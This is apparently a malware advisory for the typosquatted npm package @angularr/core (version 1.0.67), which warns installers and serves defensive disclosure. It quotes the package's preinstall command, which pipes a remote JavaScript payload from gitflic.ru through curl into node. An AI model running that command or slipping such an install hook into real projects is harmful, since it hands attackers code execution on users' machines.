@angularr/core

GHSA-9rxx-xxjx-v9w8

Malicious code in @angularr/core (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.67`

## Source: amazon-inspector (801dcd769bdbf58aa11a657a5344e075ed57fcdafd1384b47ba611956e7cb365)
The package's npm preinstall lifecycle script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching a JavaScript payload from a third-party host and piping it directly to node for execution on every `npm install`. The destination (gitflic.ru under a user path `hellscripter/install-scripts`, routed via a web.archive.org proxy) is unrelated to any `@angular` publisher infrastructure, is unpinned, and is not integrity-checked. Whoever controls that path controls code execution on the installer's host. The package name `@angularr/core` is a one-letter variant of the widely-used `@angular/core`, increasing the likelihood of accidental installation.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/ae1ef40954ea15dd560720d58f647c9880afc699/osv/malicious/npm/@angularr/core/MAL-2026-17493.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/ae1ef40954ea15dd560720d58f647c9880afc699/osv/malicious/npm/@angularr/core/MAL-2026-17493.json
- https://www.npmjs.com/package/@angularr/core/v/1.0.67
- https://github.com/ossf/malicious-packages/blob/7ee44994dad323ce5910731c56db21300729864a/osv/malicious/npm/@angularr/core/MAL-2026-17493.json
- https://www.npmjs.com/package/@angularr/core
- https://github.com/advisories/GHSA-9rxx-xxjx-v9w8

Compromised versions (1)

= 1.0.67

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.